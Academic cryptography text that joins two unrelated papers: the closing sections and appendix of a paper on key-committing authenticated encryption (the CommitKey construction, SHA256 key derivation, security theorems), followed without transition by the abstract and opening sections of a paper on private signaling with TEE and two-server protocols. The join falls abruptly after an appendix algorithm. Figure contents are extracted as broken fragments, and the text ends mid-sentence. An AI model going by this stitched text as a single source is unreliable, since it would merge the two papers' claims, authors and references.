1,665 cycles, indicating an overhead of 74 cycles for
the Padding solution and relative impact of ∼ 4.4%.
With p = 127 (a 2032 bytes message), we measured
T ′Pad` GCM(0,128) = 1,665 cycles and TGCM(0,128) = 1,636
cycles. In this case, The overhead is 29 cycles, and the rel-
ative impact is ∼ 1.8%. For a longer message we measured
T ′Pad` GCM(0,384) = 4,263 cycles and TGCM(0,384) = 4,203
cycles, with relative impact of ∼ 1.4%.

5.4 Generic Solution
Let Π = (Enc,Dec) be an AE scheme where K= {0,1}κ and
N = {0,1}ν. We describe the scheme CommitKeyΠ over
Π. Let κ0, ν′, c be positive integers where, without loss of
generality, κ0 ≥max (κ,c). Let

Fenc : {0,1}κ0 ×{0,1}≤ν′ →{0,1}κ (19)

Fcom : {0,1}κ0 ×{0,1}≤ν′ →{0,1}c (20)
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be independent PRFs. Both schemes use the same key K ∈
{0,1}κ0 , called the main key, but must guarantee that their
outputs remain independent.

CommitKeyΠ has four types, depending on whether a
nonce is used in Fenc or Fcom (see Table 2). We describe
Type IV in Algorithm 2 and Algorithm 3. The remaining
types are described in Appendix B.

Note that CommitKeyΠ includes a nonce N′ in addition
to the nonce N used for the underlying AE scheme Π. This
is done for backwards compatibility, as Π might already be
deployed and re-using Π’s nonce for CommitKeyΠ might not
be feasible. The security requirements for N′ and N are the
same, so if possible, they can be set to equal each other as
long as uniqueness is guaranteed; however care must be taken
to ensure the nonces are sufficiently long — |N| and |N′| may
not be the same, and depending upon the exact requirements
of the application (e.g. N′ needs to be generated randomly),
one might want a larger |N′|.

Table 2: The four types of key derivation for the generic
solution. Each key is either derived with a nonce, or without.

Kcom
fixed nonce

Kenc
fixed Type I Type III
nonce Type II Type IV

Algorithm 2: CommitKeyIV ΠEnc(K,N′,N,A,M)

Input: K ∈ {0,1}κ0 , N′ ∈ {0,1}ν′ , N ∈ N, A ∈ A,
M ∈M

Output: C ∈ C, Kcom ∈ {0,1}c

1 Kenc← Fenc(K,N′)
2 Kcom← Fcom(K,N′)
3 C← Enc(Kenc,N,A,M)
4 return (C,Kcom)

Using the Different CommitKeyΠ Types. The differ-
ent CommitKeyΠ types have different incremental com-
putational and bandwidth overheads over Π; see Table 3.

Table 3: The overheads compared to Π involved with the
different flavors of CommitKeyΠ, when encrypting or de-
crypting q payloads with the main key K.

Type Fenc calls Fcom calls Communication

I 1 1 c
II q 1 c+ν′

III 1 q c+ν′

IV q q c+ν′

Algorithm 3: CommitKeyIV ΠDec(K,N′,N,A,C,Kcom)

Input: K ∈ {0,1}κ0 , N′ ∈ {0,1}ν′ , N ∈ N, A ∈ A,
C ∈ C, Kcom ∈ {0,1}c

Output: M ∈M∪{⊥}
1 K′com← Fcom(K,N′)
2 K′enc← Fenc(K,N′)
3 M← Dec(K′enc,N,A,C)

4 if Kcom 6= K′com or M ?
=⊥ then return ⊥

5 return M

CommitKeyΠ Type I and type II carry the lowest incre-
mental overheads over Π as they use a fixed key identifier
Kcom. These are useful when leaking an identifier for the
key used to produce ciphertext does not violate privacy re-
quirements, for example, when a main key is used for only
one session between the communicating parties. Deriving
a nonce-dependent Kcom value, as in Types III and IV, does
not leak any key identifiers, but comes at some incremental
cost. Deriving a new key for each encryption in Type IV
comes with the added benefit of avoiding encryption data
limits imposed by the underlying encryption algorithm.

Simple Instantiation of Fenc and Fcom Let κ0 = κ = 256,
assume that ν1 ≤ 256, and set c = 256. Let Lenc and Lcom be
fixed labels and define

Fenc(K,N) = SHA256(K ‖ Lenc ‖ N) (21)
Fcom(K,N) = SHA256(K ‖ Lcom ‖ N) (22)

For concreteness, we give examples of labels Lenc and Lcom
in Table 4. The different CommitKeyΠ types are encoded in
the labels Lenc, Lcom. With this choice,∣∣K ‖ Lenc ‖ N

∣∣= ∣∣K ‖ Lcom ‖ N
∣∣≤ 576 bits , (23)

so deriving Kenc and Kcom require for each computation at
most two calls to the SHA256 compression function. Fur-
thermore, for Type I, computing Kenc and Kcom invokes the
SHA256 compression function only once, and for Type II, com-
puting Kcom calls the compression function only once (but
twice to compute Kenc). The full paper [ADG+20] demon-
strates how to instantiate a Type I key committing AES-GCM.

Key Commitment Security. To meet the CommitKeyΠ

design goal, the PRFs Fenc and Fcom must be collision-
resistant (24); our instantiation achieves collision-resistance
with SHA256. Furthermore, c should be large enough to
make brute-force collision search impractical.

Claim 1. If adversary A produces a winning tuple
(N,A,C,T,Kcom) for keys K1 6= K2, then A has found a colli-
sion (on Kcom), i.e.,

Fcom(K1,N) = Fcom(K2,N) . (24)
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Table 4: Sample labels for use in our instantiation of Fenc and
Fcom. Define some fixed label L0 of length 48 bits; for exam-
ple L0 = 0x436f6d6d6974, which is Commit in hexadecimal
notation.

Type Lenc Lcom

I L0 ‖ 0x01 ‖ 0x01 L0 ‖ 0x01 ‖ 0x02
II L0 ‖ 0x02 ‖ 0x01 L0 ‖ 0x02 ‖ 0x02

III L0 ‖ 0x03 ‖ 0x01 L0 ‖ 0x03 ‖ 0x02
IV L0 ‖ 0x04 ‖ 0x01 L0 ‖ 0x04 ‖ 0x02

Note that the claim holds even if the adversary may freely
choose two different nonces N1 and N2 as input.

AE Security. Say the PRF’s used by CommitKeyΠ are se-
cure, that is, each PRF output looks uniformly random and
independent of other PRF output against computationally
bounded adversaries, then:

1. Π is called using Kenc, which is uniformly random and
independent, hence if Π is a secure AE scheme, then Π’s
output maintains confidentiality and integrity, and

2. Kcom is uniformly random and independent of Π’s output,
hence Kcom does not affect AE security.

As with other generic compositions involving key derivation
functions, we can use a straightforward hybrid argument with
the result that CommitKeyΠ preserves Π’s AE security.

We state AE security for CommitKeyΠ Type IV; Types I,
II, III are analogous.

Definition 2. Let F : K×X→ Y,F ′ : K×X′→ Y′ be PRFs,
then the PRF advantage of adversary A against (F,F ′) is

PRFF,F ′(A) := ∆
A

(
FK ,F ′K ; $F ,$F ′

)
, (25)

where K is chosen uniformly at random from K.

Theorem 3 (CommitKeyIV Π AE Security). Let A be a
nonce-respecting AE adversary against CommitKeyIV Π mak-
ing at most q queries with associated data, message, and ci-
phertext length at most `. Let B be a PRF adversary and C
an AE adversary against Π, then A’s multi-key AE advantage
with µ instances is

µ-AECommitKeyIV Π(A)≤PRFFcom,Fenc(B)+
(µ ·q)-AEΠ(C) ,

(26)

where B makes at most q queries to each of its oracles, and C
makes at most 1 query to each of its oracles with associated
data, message, and ciphertext length at most `.

The full paper [ADG+20] shows how to use the bounds of
Theorem 3.

Design rationale and alternatives. We require
CommitKeyΠ to use κ0 ≥ κ to keep a key hierarchy:
the derived encryption keys (Kenc) are not longer than the
main key. Similarly, we require κ0 ≥ |Kcom| and set Kcom
to be sufficiently long to make brute force collision and
pre-image search unfeasible. The power-of-two choice
κ0 = κ = c = 256 seems adequate and convenient. However,
it is also reasonable to settle with c = 192 or 160 to reduce
the overhead of CommitKeyΠ encryption.

We point out that defining F(K,L) = H(K ‖ L) with any
NIST standard collision-resistant hash function H, with a suf-
ficiently long digest, is an acceptable choice. This makes it is
easy to choose a main key (K) of a desired length, and also to
truncate the digests to c or κ bits, as needed. Note that it is
implicitly assumed here that for this usage, H is invoked with
equal-length arguments.

6 Related Work

Other possible techniques to generate polyglots include
[Alb15, SBK+17, LP20, AAE+14, Alba]; these techniques
are not generic to all file formats.

Hoang, Krovetz, and Rogaway introduce the concept of
“robust AE” (RAE) [HKR15], formalizing one of the strongest
types of security that an AE scheme can satisfy. We do not
use the term robust in the sense of “robust AE.”

Abdalla et al. [ABN10] initiate a provable-security treat-
ment of robust encryption. Canetti et al. [CKVW10] consider
“wrong-key detection”, which is similar to robustness.

The OPAQUE protocol [JKX18] requires an AE scheme
with random key robustness: robustness where the attacker
may not choose the two keys under which it finds a collision.
An early draft of an OPAQUE protocol RFC describes a way
to fix GCM similar to what we propose [Kra19, Section 3.1.1],
by appending a constant string to the plaintext. Subsequent
drafts of the RFC remove mention of the fix.

Everspaugh et al. [EPRS17] discuss how to securely sup-
port key rotation without decryption in key management ser-
vices via updatable AE; as part of their motivation, they dis-
cuss how Amazon and Google perform key rotation. To
achieve ciphertext integrity while rekeying, they require the
underlying symmetric encryption scheme to be compactly
robust, where the adversary should not be able to find two
keys and two ciphertexts with the same tag.

7 Conclusions

Section 2 demonstrates products and settings where key com-
mitment naturally arises and a lack thereof violates expecta-
tions, resulting in attacks. We conclude that key commitment
is an important property to consider for AE schemes.

We see that a lack of collision-resistance results in AE
schemes’ lack of key commitment; the fastest, widely de-
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ployed AE schemes are often not collision resistant and are
easy to exploit. Adversaries can choose encryption keys as
they please, and our automated tools demonstrate how easy
it is to generate binary polyglots with a wide variety of file
formats.

We also conclude that it is easy to add key commitment
via blackbox use of AE schemes. We note that, while the
generic solution mainly relies on collision resistance of hash
functions, the padding fix does rely on additional assumptions
on its underlying primitives.
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A Notation

Let ε denote the empty string, and let 0n denote the n-bit
string consisting of only zeros. Given a block size n, the
function lenn(X) represents the length of X modulo 2n as an
n-bit string, and X0∗n is X padded on the right with 0-bits
to get a string of length a multiple of n. If X ∈ {0,1}∗, then
|X |n = d|X |/ne is X’s length in n-bit blocks. The operation

X [1]X [2] · · ·X [x] n←− X (27)

denotes splitting X into substrings such that |X [i]| = n for
i = 1, . . . ,x−1, 0 < |X [x]| ≤ n, and X [1]‖X [2]‖· · ·‖X [x] = X .

The set of n-bit strings is also viewed as the finite field
GF(2n), by mapping an−1 . . .a1a0 to the polynomial a(x) =
an−1+an−2x+ · · ·+a1xn−1+a0xn−1 ∈GF(2)[x], and fixing
an irreducible polynomial which defines multiplication in the
field. For n = 128, the irreducible polynomial is 1+x+x2 +
x7 +x128, the one used for GCM.

The function int(Y ) maps the j-bit string Y = a j−1 . . .a1a0
to the integer i = a j−12 j−1 + · · ·+a12+a0, and str j(i) maps
the integer i = a j−12 j−1 + · · ·+ a12+ a0 < 2 j to the j-bit
string a j−1 . . .a1a0. Let incm(X) denote the function which
adds one modulo 2m to X when viewed as an integer:

incm(X) := strm(int(X)+1 mod 2m) .

Define msb j(X) to be the function that returns the j most
significant bits of X , and lsb j(X) the j least significant bits.

The expression a ?
= b evaluates to > if a equals b, and ⊥

otherwise.

For a keyed function defined on a domain K× X, we
write F(K,X) and FK(X) interchangeably. If the function
has three or more inputs, K×N×X, then the second in-
put can be written as a superscript, F(K,N,X) = FN

K (X). If
E : {0,1}n→{0,1}m is a function, then the notation

F ← E(C ‖ ·) (28)
defines F to be the function from {0,1}n−|C| to {0,1}m which
maps an element X ∈ {0,1}n−|C| to E(C ‖ X).

B Type I, II, and III CommitKeyΠ Encryption

Algorithm 4: CommitKeyIΠ
Enc(K,N,A,M)

Input: K ∈ {0,1}κ0 , N ∈ N, A ∈ A, M ∈M
Output: C ∈ C, Kcom ∈ {0,1}c

1 Kenc← Fenc(K)
2 Kcom← Fcom(K)
3 C← Enc(Kenc,N,A,M)
4 return (C,Kcom)

Algorithm 5: CommitKeyIIΠ
Enc(K,N1,N,A,M)

Input: K ∈ {0,1}κ0 , N1 ∈ {0,1}ν1 , N ∈ N, A ∈ A,
M ∈M

Output: C ∈ C, Kcom ∈ {0,1}c

1 Kenc← Fenc(K,N1)
2 Kcom← Fcom(K)
3 C← Enc(Kenc,N,A,M)
4 return (C,Kcom)

Algorithm 6: CommitKeyIIIΠ
Enc(K,N1,N,A,M)

Input: K ∈ {0,1}κ0 , N1 ∈ {0,1}ν1 , N ∈ N, A ∈ A,
M ∈M

Output: C ∈ C, Kcom ∈ {0,1}c

1 Kenc← Fenc(K)
2 Kcom← Fcom(K,N1)
3 C← Enc(Kenc,N,A,M)
4 return (C,Kcom)
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Abstract
We introduce the problem of private signaling. In this

problem, a sender posts a message on a certain location of
a public bulletin board, and then posts a signal that allows
only the intended recipient (and no one else) to learn that it is
the recipient of the message posted at that location. Besides
privacy, two efficiency requirements must be met. First, the
sender and recipient do not participate in any out-of-band
communication. Second, the overhead of the recipient must
be (much) better than scanning the entire board.

Existing techniques, such as server-aided fuzzy message
detection (Beck et al., CCS’21), could be employed to solve
the private signaling problem. However, this solution leads to
a trade-off between privacy and efficiency, where the complex-
ity of the recipient grows with the required privacy. Specifi-
cally, this would require a scan of the entire board to obtain
full privacy for the recipient.

In this work, we present a server-aided solution to the pri-
vate signaling problem that guarantees full privacy for all
recipients while requiring only constant amount of work for
both the recipient and the sender.

Specifically, we provide three contributions: First, we pro-
vide a formal definition of private signaling in the Universal
Composability (UC) framework and show that it captures
several real-world settings where recipient anonymity is de-
sired. Second, we present two server-aided protocols that
UC-realize our definitions: one using a single server equipped
with a trusted execution environment, and one based on two
servers that employ garbled circuits. Third, we provide an
open-source implementation of both of our protocols, evaluate
their performance, and identify for which sets of parameters
they can be practical.

1 Introduction

Problem Statement. We focus on the problem of recip-

∗Alessandra Scafuro and Varun Madathil are supported by NSF grants
#1718074,#1764025

ient anonymity. In its abstraction, there are M recipi-
ents R1, . . . ,RM publicly identified by their public keys
pk1, . . . , pkM . There is a public venue such as a bulletin board
that collects messages (m1,m2,m3, . . .) from senders and are
intended for recipients. The sender who posted message m j
on the board, will also post an auxiliary information c that
signals the intended recipient, say Ri, that there is a message
for them at a location j of the board. The problem is: how
can this sender craft a signal c so that by looking at c, no
one, except Ri, can detect who the intended recipient is for
m j, with the sender having no communication or prior shared
state with Ri?

This abstraction captures various concrete problems such
as anonymous messaging [10] and stealth payments [12]. We
describe these specific applications in greater length in Sec 2.1.
For the remainder of the introduction, we will focus on the
general abstraction above.

Private Signaling: the Naive Inefficient Approach. A
straightforward (though inefficient) solution for the private
signaling problem would be as follows. The sender who in-
tends to communicate that a message is located at loc to Ri
can simply encrypt loc with the public key pki using a key-
private CPA-secure encryption scheme 1 and then only post
the ciphertext c on the board. In this case, the signal is the
ciphertext itself. Then, each recipient can periodically down-
load all ciphertexts posted on the board, attempt to decrypt
each ciphertext to detect where the messages for the recipi-
ent are. Thanks to the key-privacy property of the encryption
scheme, this solution gives full privacy to each recipient, since
by looking at the ciphertext, every public key is equally likely
to unlock it. Here full means that the anonymity set consti-
tutes the entire set of (honest) recipients. Furthermore, this
solution has no overhead on the sender, who simply performs
one encryption per signal. However, full privacy comes with
a high cost for each recipient since it needs to scan the entire
board to detect the signal. In this work, we are interested in
reducing the communication and computational complexity

1Key-private means that by looking at the ciphertext, no one can distin-
guish which public key was used for encrypting the message [6].
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of the recipient.
Efficient Private Signaling: the Need for a Server. Can we

do better than a linear scan of the board? First, note that with-
out any external help, such as a server dedicated to filtering
messages for each recipient, a recipient must read the entire
list of, say N, signals to “see” which one is intended for them.
Note that this is true regardless of the anonymity guarantees.
Hence, a serverless solution would lead to complexity O(N)
for each recipient. Alternatively, one can trade the search
time with the signal size. Namely, search complexity can be
lowered to O(logN) per message for the recipient if the size
of the signal grows with the total number of possible recipi-
ents, that is, O(M), which can be still very inefficient for even
moderate M (we describe this in the full version [20]).

Thus, for any non-trivial improvement of the complexity
cost for the recipient, we need to use an external server to help
with the filtering. In a very recent work [5] Beck et al. intro-
duced the concept of Fuzzy Message Detection (FMD), a new
cryptographic primitive that allows a third party to perform
coarse filtering of messages for each recipient. Coarse means
that, for each recipient Ri, the server will detect ciphertexts
and maintain a list of ciphertexts that could be intended for
Ri. This list includes a certain fraction pi of false positive—
hence fuzzy detection. The higher the rate pi of false positive
for Ri, the longer the list of ciphertexts detected for Ri, and
the higher the anonymity set for Ri. This approach, however,
presents major drawbacks for the recipient. First, the work
done by the recipient grows proportionally to the amount of
anonymity it desires. Specifically, the work done by recipient
Ri is O(pi ·N), which translates into O(1 ·N) work if the high-
est privacy is required. Second, even if a recipient Ri chooses
the highest false positive rate pi = 1, this would still not guar-
antee Ri to have full privacy (recall, full privacy means that
a signal can be associated to every (honest) recipient with
the same probability) if other honest recipients have chosen
smaller error rates.

A natural question arises: is there a solution for the private
signaling problem that achieves full anonymity in the presence
of untrusted servers and has only constant complexity for the
recipient?

1.1 Our contribution

We answer affirmatively to the question above. We provide
three contributions:
1. Formalization of the Private Signaling Problem. We

introduce the private signaling problem and provide a
formal definition in the Universal Composability Frame-
work [9]. Thus, we define an ideal functionality FprivSignal

that captures the correctness and privacy guarantees that
we expect from a private signaling system. Previous work
on related problems either did not provide any formal
definition [17, 22, 32], or provide much weaker security
guarantees [5]. We elaborate in Sec 5.

2. Protocols for private signaling with constant recipient
overhead and provable UC-security. The focus of this
work is to minimize the costs for the recipients and senders.
We provide two protocols that UC-realize the ideal func-
tionality FprivSignal where a sender only needs to perform
one (or two ) encryptions to compute a signal, and a re-
cipient does not need to perform any scan, and will just
perform a number of decryptions that matches the number
of received signals. We provide two protocols: one based
on garbled circuits that requires two servers, and one lever-
aging on a Trusted Execution Environment (TEE) which
requires a single server only (our approach is explained in
Sec. 3).

3. Open-source Implementations. We implement both our
protocols and measure their efficiency. We compare our
performances with related work (we elaborate in Sec. 9).

2 Background for Private Signaling

2.1 Applications of Private Signaling

Private signaling is a powerful abstraction since many real-
world applications can be seen as a special case of it. In the
following, we highlight two prominent and timely problems
that can be cast as private signaling problems and conse-
quently solved with our proposed solutions.
Stealth addresses and payments. In cryptocurrencies (es-
pecially account-based ones [31]) it is common to use static,
public identities or addresses. However, sending recurrent
payments (e.g., salaries, donations, other regular purchases)
to a static address that is publicly linked to an entity is harmful
to both sender and recipient anonymity. To avert this issue,
senders can generate so-called stealth addresses for their re-
cipients [12]. More specifically, given a recipient’s public ad-
dress, the sender can non-interactively generate new “stealth”
addresses for the intended recipient that is unlinkable to the
recipient’s static, public address [26]. Stealth addresses can
only be redeemed by the true recipients. However, the diffi-
culty is that recipients lack an efficient way to detect which
stealth address belongs to them and are redeemable by them.
Current implementations of stealth address payment systems
apply the simple linear scan of the board as described earlier.2

Private signaling can be seen as a solution to alleviate the
computation complexity of the recipient. More specifically,
with private signaling, a sender first creates a transaction with
a stealth address of recipient Ri and posts it to the board. Once
the transaction is confirmed and the location of the transaction
is known on the board, the sender sends a private signal to
the server, who obliviously stores it. Now a recipient only
needs to ask the server for its list of signals so it can identify
its stealth address transactions directly.

2See: Umbra Cash (https://app.umbra.cash)
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Anonymous messaging. Modern private messaging applica-
tions are mostly focused on providing and improving sender
anonymity [10, 21], e.g., Signal’s sealed sender function-
ality. In anonymous messaging applications, senders post
their messages to one (or more) untrusted store-and-forward
server(s) [30] or to a shared public bulletin board, as in Ri-
poste [10], where the servers need to maintain the board.
Private signaling easily captures this problem in the following
way: A sender first posts encrypted messages on a public
board. The sender then sends the locations of these messages
to the server in a privacy-preserving way, such that only the
recipient can retrieve the locations from the servers at a later
point in time. Once the recipient has these locations it can
simply decrypt the corresponding messages from the board
to get their messages. Thus anonymous messaging can be
seen as special case of private signaling. Moreover, using our
techniques, it is guaranteed that a recipient can retrieve its
messages quickly and one can have arbitrary sized messages
that can be stored on the public board.

2.2 Related and Concurrent Work
The closest work to ours is Fuzzy Message Detection by Beck
et al [5]. Subsequently to our work, the definition of Oblivious
Message Retrieval was introduced by Liu et al [19]. In this
section we describe these works. A comparison in terms of
asymptotic efficiency in provided in Table 1 and concrete
efficiency in Table 4.

Fuzzy Message Detection (FMD) [5] Fuzzy message de-
tection is a primitive that allows a server to do outsourced
message detection. The recipient of a message provides the
server with a “fuzzy” detection key that identifies the rele-
vant ciphertexts as well non-matching flag ciphertexts with
some false positive rate. This false positive rate is set by the
recipient of the messages. The untrusted server that performs
the fuzzy detection, must be unable to distinguish between a
correct detection result and a false-positive.
Privacy. The privacy guaranteed by FMD is k-anonymity,
which suffers of known attacks ( [18] [28] show how the
untrusted server can break recipient unlinkability and relation-
ship anonymity). In this work, we aim at the strongest privacy
guarantee, where each recipient has an anonymity set that is
as large as the total number of honest recipients and senders
(see Sec 5 to for details on our definition).
Efficiency. In FMD, the senders need to compute γ (a constant
of the order 10) number of encryptions and send them to the
server. If N is the total number of messages that were sent to
the server, each recipient will receive ρN messages where ρ

is a false positive rate. The recipient then would need to do γ

decryptions on each of these messages to test if the message is
actually for them or if it’s a false positive. Note that recipients
determine ρ in FMD and can therefore trade-off privacy for
efficiency. By setting ρ to be a small value, the number of
decryptions done by the recipient will also reduce. In this

work instead we aim to minimize the work of the sender and
the receiver. As we shall see in Sec 6 and 7 and as depicted
in Table 1, in our protocol the sender only sends one (or two)
encryptions, and the recipient needs to decrypt exactly the
number of signals it receives.
Assumptions and Threat-model. FMD relies on a single un-
trusted server only. Instead, in this work we rely either on
two non-colluding servers, or on the trusted execution envi-
ronment (TEE) [11, 24]. In FMD, security is provided via
game-based proofs in presence of a semi-honest server. In
contrast, in this work we define an ideal functionality for
private signaling in the UC-model and consider either two
semi-honest server or a malicious server equipped with TEE.

Oblivious Message Retrieval (OMR) [19] OMR is a recent
work by Liu et al. that appeared subsequently to our work.
OMR is another primitive that allows the recipient to provide
a detection key to an untrusted server so that they can receive
pertinent private messages that are posted to a public board.
Their aim is to not only detect messages but also to retrieve
the messages from the server. They present two protocols
OMR2 and OMR3, based on fully homomorphic encryption
(FHE). In their protocols, a sender encrypts the message under
the receiver’s public key and post it to a board. A recipient
requests its messages from a server by sending a detection
(FHE key) along with a bound on the number of messages
it may receive. The server then rencrypts each ciphertext on
the board under this new FHE key such that it either decrypts
to the message if it corresponds to the recipient or to zero
otherwise. Finally, the encryptions are cleverly compacted so
that the recipient does not have to do decryptions linear in the
number of total messages on the board.
Efficiency. OMR2 requires the receiver to do O(N) decryp-
tions, where N is the total number of messages on the board.
OMR3 on the other hand, is optimized with compact detection
but still requires O(poly log(N)) computation for the recipi-
ent. In contrast, in our protocol recipients will only need to
perform decryptions equal to the number of messages they
receive on the board. In both OMR2 and OMR3, the detection
cost for the servers grows with N, whereas in our protocols,
the detection cost grows with M, which is the number of
recipients that are served by that server.
Assumptions and Threat-model. As in the case of FMD [5],
both OMR2 and OMR3 rely only on a single untrusted server,
whereas we make stronger assumptions as described above.
In OMR, the authors present game-based proofs against a
semi-honest adversary, whereas we present UC proofs.
Other properties. OMR achieves DoS resistance, where DoS
attacks are defined as signals being pertinent for more than
one receiver. Moreover, their protocols allow the receiver
to determine the value ℓ which is the number of messages
they expect to receive, and the recipients also get an explicit
overflow message in the case the specified ℓ is less than the
number of messages they actually receive.
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Privacy Security Recipient Server #Servers Setup Assumptions
Naïve scan full – O(N) /0 0 /0

FMD [5] k-anon G,SH O(pN) O(pM) 1 /0

OMR2 [19] full G, SH O(N + log2(k̂) log(ε−1
n )+ k̂3) O(N(log2(k̂)+ logε−1

p )) 1 /0

OMR3 [19] full G, SH O(k̂ log(k̂) log(ε−1
n ) log4(N)+ k̂3) O(N(log(k̂) log(ε−1

n ) log4(N)+ logε−1
p )) 1 /0

ΠTEE full UC, M O(ℓ̄) O(ℓM) 1 TEE
ΠGC full UC, SH O(ℓ̄) O(ℓM) 2 /0

Table 1: Comparing privacy-preserving message detection schemes in terms of the achieved privacy guarantees and the
computational complexity of the participants. SH and M denotes semi-honest and malicious security, respectively. N denotes
the total number of messages in the system and p denotes the false positive rate (0≤ p≤ 1) set individually by recipients in
the Fuzzy Message Detection scheme (FMD) [5]. For simplicity, we assume that each recipient has the same false positive
rate p. ℓ denotes the maximum number of detectable incoming messages per each recipient and ℓ̄ denotes the actual number of
messages that are sent to a recipient. From OMR [19] we have k̂ = Õ(ℓ̄+ εpN). Moreover, εp is a false positive rate and εn is a
false negative rate. Finally the server computation is based on a single message received by the server(s).

Metadata-private messaging systems Previous works [29]
and [16] describe dialing and add-friend protocols. These
protocols enable one party to add another party as a friend and
establish a connection with this friend such that an adversary
cannot learn the friend’s identity. This can be seen as a special
case of the signaling problem, but these works do not consider
the efficiency of the two parties that are involved. They require
that all parties continuously send messages over the network
(either cover traffic or actual protocol messages).

3 Our Approach to Build Private Signalling

We present two instantiations of the ideal functionality
FprivSignal that achieve constant communication and compu-
tation complexity for the recipient. Both instantiations are
based on the same high-level approach of obliviously updat-
ing the list for the recipient. We explain the general approach
first, and then the two techniques for implementing it.

Our approach is based on the following natural idea. As-
sume for a moment that privacy was not a concern, but only
performance is, i.e., we want the overhead of the recipient to
be minimal and depend only on the number of messages it re-
ceives. The recipients hire a Srv and register themselves with
the server. (See Fig 1) The sender after posting a message to
the board, sends a signal which is the encryption (under the pk
of the server) of the the recipient’s identity and the location of
the message to the Srv through the board. The Srv maintains a
table T, with one row for each recipient. It decrypts the signal
using its own secret key and adds the signal to the row of
recipient. When a recipient Ri sends RECEIVE to the server, it
simply responds with the corresponding row. Now, to achieve
privacy, we “just” need to require the server to update this
table obliviously. In other words, we need to devise a mech-
anism by which, on input an encrypted signal for a certain
recipient Ri, the server can blindly and correctly update the
i-th row without learning anything about the recipient who
got the signal.

Finally, note that each recipient might receives a different

R1 E(pk1,6) - -

R2 E(pk2,1) E(pk2,3) -

R3 E(pk3,2) - -

... ... ... m ... ... ...

5 6 87

➌(SEND,ct = E(epk, [R3,7]))

Ri

➊(Setup, pki)

➎(RECEIVE, R3) R3

➏

➋(WRITE, m)

➍

R1 E(pk1,6) - -

R2 E(pk2,1) E(pk2,3) -

R3 E(pk3,2) E(pk3,7) -

SERVER

R3 E(pk3,2) E(pk3,7)

Figure 1: The no-privacy solution: 1 Each recipient Ri reg-
isters with the Srv and sends its pki. 2 A sender writes a
message m for recipient R3 on position 7 of the board. 3
Sender sends a signal to the Srv for the posted message. The
signal is an encryption of R3,7 under the public key of the
server. 4 The server decrypts the signal using its secret key.
The Srv then adds the encryption to the next available location
in R3’s row. 5 R3 requests its row from the Srv in an authen-
ticated way, and 6 , the Srv responds with the encryptions
in that row.

number of signals over time. To prevent leaking of this infor-
mation, in our protocol, we fix the size of each recipients’ row
to be an upper bound ℓ, reflecting the signals recipients are
expected to receive in a certain interval of time (e.g., per day,
per-month, depending on the application).

TEE-based Solution To update the table of signals T obliv-
iously by employing a single untrusted server, we leverage
a trusted execution environment (TEE). Recall that a TEE
allows a client to perform a private computation on a secret in-
put, embedded in the TEE, through an untrusted server, called
the host. TEEs are used to build virtual enclaves. A client can
register with the enclave within the server and is guaranteed
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R1 6 0 0

R2 2 3 0

R3 2 0 0

... ... ... m ... ... ...

5 6 87

➌
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[R 3
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))

Ri

➎(RECEIVE, R3)
R3

➏

➋
(W

RITE
, m

)

➍

➊(Setup, pki)

R1 6 0 0

R2 1 3 0

R3 2 7 0

R3 E(pk3,2) E(pk3,7) E(pk3,0)

SERVER

Figure 2: Single-server protocol. 1 Ri securely communi-
cates its pki with the enclave. 2 3 The sender writes a
message m for recipient R3 on position 7 of the board and
sends a signal (encryption of 7 under TEE’s public key epk)
to the Srv for the posted message. 4 The enclave takes as
input the encryption of the signal, decrypts it and updates
column 2 in R3’s row with 7. 5 R3 requests for its row via
the server to the enclave. 6 If valid, the TEE releases R3’s
row encrypted under the public key of R3 via the server.

that all computations inside the enclave are hidden from the
server. With this tool in hand, the idea is that the recipients
will first register with the server by providing their public key.

After this setup phase where recipients register with the
enclave, the enclave maintains a vector of zeros for each user
i. This is equivalent to initializing the table T.

Each enclave will implement the following program: on
input a signal ciphertext ctSignal and the table T, first decrypt
ctSignal with its secret key. If the decryption results in a valid
plaintext location loc and recipient index i, then the enclave
will update the row i of the table T with the loc in the next
available position, and just re-write the other indexes. As in
the solution with no privacy, a sender can communicate a
signal for location loc to Ri, by simply encrypting the location
and the recipient index under the enclave’s public key pk, that
is, ctSignal = Enc(pk,Ri∥loc) and send ctSignal to the server.
The server will then run the enclave on input ctSignal,T to run
the above-described program.

The actual protocol is slightly more complex as it requires a
mechanism to prevent replay attacks from the untrusted server
against the enclave. For the UC-security proof to go through,
we need a mechanism to enforce that even if server and re-
cipient are corrupt and collude, any attack is still simulatable
in the ideal world. This requires a mechanism by which, to
retrieve its signals, a recipient must first obtain a token from
the TEE in every access. The details of the protocol are pro-
vided in Sec 6, and the protocol is described in Fig 7. We
formally prove that our protocol UC-realizes the ideal private
signal functionality. For the formal proof, we use the UC-

R1 4 7 9

R2 3 2 8

R3 4 3 5

... ... ... m ... ... ...

5 6 87

➌(SEND, E(pk1, R
1 = 2, loc1 =3)

Ri

➊(Setup, Σ.vki)

➎(RECEIVE, R3) R3

➏

➋(WRITE, m)

➍

R1 2 7 9

R2 2 1 8

R3 6 3 5

R1 3 2 3

R2 7 4 8

R3 5 2 5

R1 5 2 3

R2 6 7 8

R3 7 5 5

Compute
7⨁5 = 2
5⨁2 = 7
5⨁5 = 0

E(pk2, R
2 =1, loc2 =4))

R3 5 2 5

R3 7 5 5

SERVER1 SERVER2

Figure 3: Two-server. 1 Ri registers with the two servers.
2 Sender writes message m for R3 on position 7 of the

board. 3 Create shares of 3 e.g. (2,1) and 7 = (3,4), send
(2,3) to Srv1 and (1,4) to Srv2. 4 Srv1 and Srv2 run a 2PC
with inputs (T1,2,3) and (T2,1,4) and some fresh random-
ness and output new tables T1 and T2 such that in the next
available position of R3’s row (column 2), is updated with
fresh shares of 7, e.g. (5 and 2) and re-randomize all other
indices while maintaining the invariant that T1[i][ j]⊕T2[i][ j]
remains the same. 5 R3 requests its row. 6 If valid, Srv1
sends [7,5,5] and Srv2 sends [5,2,5]. R3 reconstructs locations
by computing [7⊕5,5⊕2,5⊕5] = [2,7,0].

formalization of TEE introduced by Pass et al. in [24] as the
ideal functionality Gatt. Our proof is provided in the full ver-
sion [20] and withstands malicious adversaries (for privacy).
We present an illustration of this single-server approach in
Fig 2. In the above approach we assumed that the enclave can
store the table T in its internal memory. We note that this need
not always be possible since the total space that is available in
an enclave’s (Intel SGX) internal memory is only 128MB. In
the full version [20] we present a modification of the protocol
where the T is stored by the server.
Limitations of Intel SGX: TEEs need to rely on a trusted
authority (Intel in the case of Intel SGX), they are known to
be prone to some side channel attacks [8] [14] and finally
there are memory limitations [11]

Two-server Solution To accomplish the goal of obliviously
updating the table of signals T, we can use two servers Srv1
and Srv2 and have the table secret-shared among them. Srv1
